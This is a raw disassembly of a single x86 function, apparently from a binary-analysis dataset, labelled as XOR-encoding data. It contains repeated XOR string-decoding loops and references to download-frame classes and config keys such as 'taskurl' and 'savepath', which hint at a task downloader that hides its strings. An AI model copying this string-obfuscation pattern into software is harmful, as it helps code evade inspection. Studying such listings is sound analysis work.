Function at 0x454960
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5fbb6e
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x50
push esi
push edi
mov eax, dword [0x672494]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [0x67f4f4]
xor eax, eax
mov ecx, dword [edi + 0x5d4]
lea esi, [edi + 0x5e0]
test ecx, ecx
sete al
mov dword [edi + 0x5dc], eax
cmp ecx, 0x1388
jb 0x454aa9
mov eax, dword [esi + 4]
sub eax, dword [esi]
cmp eax, 0x400
jbe 0x454aa9
mov ax, word [0x64efec]
movq xmm0, qword [0x64efe4]
movq qword [ebp - 0x40], xmm0
mov word [ebp - 0x38], ax
test ah, ah
je 0x454a24
xor edx, edx
mov dword [ebp - 0x14], edx
mov eax, 0x51eb851f
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x14]
movsx eax, al
mov cl, dl
imul eax, eax, 0x32
sub cl, al
add cl, 0x38
xor byte [ebp + edx - 0x40], cl
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0xa
jl 0x4549f6
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0xf
lea edx, [ecx + 1]
mov byte [ebp - 0x30], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x454a40
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0040eb70
mov edx, esi
lea ecx, [ebp - 0x30]
call fcn.00419dc0
mov edx, dword [ebp - 0x1c]
cmp edx, 0x10
jb 0x454a94
mov ecx, dword [ebp - 0x30]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454a8a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x455766
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov ecx, dword [esi]
mov eax, dword [esi + 4]
sub eax, ecx
push 0
push eax
push ecx
call fcn.004fd5a0
add esp, 0xc
jmp 0x454ab1
push 0x70
push esi
call fcn.00473a00
mov ecx, dword [0x67f4f0]
test ecx, ecx
je 0x454ac2
push 1
call fcn.005127c0
mov eax, dword [edi + 0x5d4]
cmp eax, 0x1388
lea ecx, [eax - 0x1388]
cmovl ecx, eax
cmp ecx, 0x17
ja case.0x454ae6.1
movzx eax, byte [ecx + 0x455788]
jmp dword [eax*4 + 0x45576c]
push 0xc50
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 0
test edi, edi
je 0x454c94
push 0xc50
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x454c50
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [str.88888888]
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [ebp - 0x2c]
paddw xmm1, xmmword [str.88888888]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
nop dword [eax]
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x454c50
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.0044a520
push eax
mov dword [ebp - 4], 0xffffffff
call fcn.004866a0
jmp 0x45574d
xor eax, eax
mov dword [ebp - 4], 0xffffffff
push eax
call fcn.004866a0
jmp 0x45574d
push 0xc50
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 1
test edi, edi
je 0x454e8a
push 0xc50
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x454e10
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x2c]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
nop dword [eax]
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x454e10
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.00442a90
mov dword [edi + 0xc40], 0
xor eax, eax
mov dword [edi + 0xc44], 7
mov word [edi + 0xc30], ax
push edi
mov dword [edi + 0xc48], eax
mov dword [edi + 0xc4c], eax
mov dword [edi], vtable.CDownloadFrameFx.1.0
mov dword [edi + 0x10], vtable.CDownloadFrameFx.0
mov dword [ebp - 4], 0xffffffff
call fcn.004866a0
jmp 0x45574d
xor edi, edi
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.004866a0
jmp 0x45574d
push 0xc38
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 2
test edi, edi
je 0x45570b
push 0xc38
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x455002
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x2c]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x455002
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.0044ef50
mov esi, eax
jmp 0x45570d
push 0xca8
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 3
test edi, edi
je 0x45570b
push 0xca8
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x4551a0
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x2c]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
nop
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x4551a0
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.0043be70
mov esi, eax
jmp 0x45570d
push 0xc30
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 4
test edi, edi
je 0x455381
push 0xc30
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x455340
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x2c]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
nop dword [eax]
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x455340
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.00442a90
mov dword [edi], vtable.CNewBlue.1.0
mov dword [edi + 0x10], vtable.CNewBlue.0
jmp 0x455383
xor edi, edi
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0
push 0x10ce0000
push 0x648b8c
push 0
mov ecx, edi
mov dword [ebp - 4], 0xffffffff
call fcn.005127f0
mov ecx, edi
call fcn.005125f0
mov ecx, edi
jmp 0x455748
push 0xca8
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 5
test edi, edi
je 0x455381
push 0xca8
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x1c], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x18], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x24], xmm0
jl 0x455523
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x34], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x2c]
pxor xmm1, xmm0
movq qword [ebp - 0x2c], xmm1
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x34], cx
inc esi
cmp esi, 0xf
jl 0x455523
push ecx
lea eax, [ebp - 0x34]
mov ecx, edi
push eax
call fcn.0043be70
mov dword [edi], vtable.CMutiUINoCheck.1.0
mov dword [edi + 0x10], vtable.CMutiUINoCheck.0
jmp 0x455383
push 0xc50
mov dword [edi + 0x5d4], 0
call fcn.004c183f
mov edi, eax
add esp, 4
mov dword [ebp - 0x14], edi
mov dword [ebp - 4], 6
test edi, edi
je 0x45570b
push 0xc50
push 0
push edi
call fcn.0056c1d0
movups xmm0, xmmword [0x6501c4]
mov eax, dword [0x6501dc]
add esp, 0xc
mov dword [ebp - 0x48], eax
xor esi, esi
cmp dword [0x67be1c], 2
mov ax, word [0x6501e0]
movups xmmword [ebp - 0x60], xmm0
mov word [ebp - 0x44], ax
movq xmm0, qword [0x6501d4]
movq qword [ebp - 0x50], xmm0
jl 0x4556d5
movaps xmm2, xmmword [0x654300]
mov eax, 4
movaps xmm4, xmmword [0x6543d0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
movd xmm5, eax
mov eax, 0x1f
psrad xmm1, xmm5
movaps xmm0, xmm1
movd xmm6, eax
mov eax, 0x6501c4
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x654310]
paddd xmm2, xmmword [0x654300]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [eax]
pxor xmm1, xmm0
movaps xmm0, xmm2
movq qword [ebp - 0x60], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.2222]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [str.88888888]
paddw xmm1, xmm0
movq xmm0, qword [ebp - 0x58]
pxor xmm1, xmm0
movq qword [ebp - 0x58], xmm1
mov eax, 0x51eb851f
mov ecx, esi
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x32
sub ecx, eax
add ecx, 0x38
xor word [ebp + esi*2 - 0x60], cx
inc esi
cmp esi, 0xf
jl 0x4556d5
push ecx
lea eax, [ebp - 0x60]
mov ecx, edi
push eax
call fcn.0044a520
mov esi, eax
jmp 0x45570d
xor esi, esi
push 0
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push SysReAllocStringLen
push 0
push 0x10ce0000
push 0x648b8c
push 0
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.005127f0
mov ecx, esi
call fcn.005125f0
mov ecx, esi
call fcn.00512f30
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0056efe9
nop
in eax, dx
dec edx
inc ebp
add byte [esi - 0x57ffbab2], bl
dec esp
inc ebp
add cl, bl
push ecx
inc ebp
add byte [ebx], bh
push eax
inc ebp
add bl, al
push ebx
inc ebp
add byte [edi + 0x55], ah
inc ebp
add byte [eax], al
push es
add dword [esi], eax
push es
add al, byte [esi]
push es
push es
push es
push es
add eax, dword [ebx]
add eax, dword [ebx]
add eax, dword [esi + eax]
push es
push es
push es
push es
add eax, -326413053
push -1
push 0x5fbc98
mov eax, dword fs:[0]
push eax
sub esp, 0x450
mov eax, dword [0x672494]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push 0xc
mov dword [ebp - 0x444], edi
call fcn.004c183f
mov dword [ebp - 0x448], eax
add esp, 4
mov dword [eax + 8], 0
mov dword [eax], edi
mov dword [eax + 4], 1
xor eax, eax
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 7
mov word [ebp - 0x288], ax
mov dword [ebp - 4], eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], 7
mov word [ebp - 0x270], ax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x424]
push 5
push str.Tasks
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], 0xf
mov byte [ebp - 0x424], al
call fcn.0040eb70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x240]
push 6
push str.Config
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
call fcn.0040eb70
push edi
lea eax, [ebp - 0x424]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x240]
mov ecx, 0x67f530
push eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040d1b0
mov ecx, eax
call fcn.0040bcc0
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040c170
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x22c]
cmp edx, 0x10
jb 0x455900
mov ecx, dword [ebp - 0x240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4558f6
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4564ed
push edx
push ecx
call fcn.004d0c91
add esp, 8
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x410]
cmp edx, 0x10
jb 0x455959
mov ecx, dword [ebp - 0x424]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45594f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4564f2
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 6
push 0x648ab0
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x414], 0
mov dword [ebp - 0x410], 0xf
mov byte [ebp - 0x424], 0
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
call fcn.0040eb70
lea eax, [ebp - 0x3f4]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
cmp dword [eax + 8], 7
jne 0x4559c7
mov eax, dword [eax]
mov dword [ebp - 0x440], eax
jmp 0x4559d1
mov dword [ebp - 0x440], 0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x3e0]
cmp edx, 0x10
jb 0x455a0f
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455a05
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4564f7
push edx
push ecx
call fcn.004d0c91
add esp, 8
push 8
push str.savepath
lea ecx, [ebp - 0x3f4]
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], 0
call fcn.0040eb70
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 8
push eax
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
cmp dword [eax + 0x14], 8
jb 0x455a68
mov eax, dword [eax]
push str.unknow.exe
push eax
call dword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
lea ecx, [ebp - 0x258]
sete bl
call fcn.0040f8c0
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x3e0]
cmp edx, 0x10
jb 0x455ac2
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455ab8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4564fc
push edx
push ecx
call fcn.004d0c91
add esp, 8
test bl, bl
je 0x455e22
xorps xmm0, xmm0
mov dword [ebp - 0x2c4], 0
xor eax, eax
movlpd qword [ebp - 0x2dc], xmm0
movaps xmm0, xmmword [0x654380]
mov dword [ebp - 0x2c0], 7
mov word [ebp - 0x2d4], ax
mov dword [ebp - 0x2ac], eax
mov dword [ebp - 0x2a8], 7
mov word [ebp - 0x2bc], ax
movups xmmword [ebp - 0x2a4], xmm0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x3f4]
push 7
push str.taskurl
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], 0xf
mov byte [ebp - 0x3f4], al
call fcn.0040eb70
lea eax, [ebp - 0x258]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x45c]
call fcn.0040d1b0
mov ecx, eax
call fcn.00441460
mov byte [ebp - 4], 0xb
cmp dword [eax + 0x14], 8
jb 0x455b73
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x2dc]
call fcn.00497510
lea ecx, [ebp - 0x258]
mov esi, eax
call fcn.0040f8c0
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x3e0]
cmp edx, 0x10
jb 0x455bca
mov ecx, dword [ebp - 0x3f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x455bc0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x456501
push edx
push ecx
call fcn.004d0c91
add esp, 8
test esi, esi
je 0x455e03
mov ecx, dword [ebp - 0x2c4]
test ecx, ecx
je 0x455e03
cmp dword [ebp - 0x2c0], 8
lea eax, [ebp - 0x2d4]
push ecx
cmovae eax, dword [ebp - 0x2d4]
lea ecx, [ebp - 0x288]
push eax
call fcn.00417d60
sub esp, 0x18
lea eax, [ebp - 0x288]
mov ecx, esp
push eax
call fcn.0040c5c0
lea ecx, [ebp - 0x258]
call fcn.0041d320
add esp, 0x18
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x40c]
push 8
push str.savepath
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x3f8], 0xf
mov byte [ebp - 0x40c], 0
call fcn.0040eb70
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x3f4]
push 5
push str.Tasks
mov dword [ebp - 0x3e4], 0
mov dword [ebp - 0x3e0], 0xf
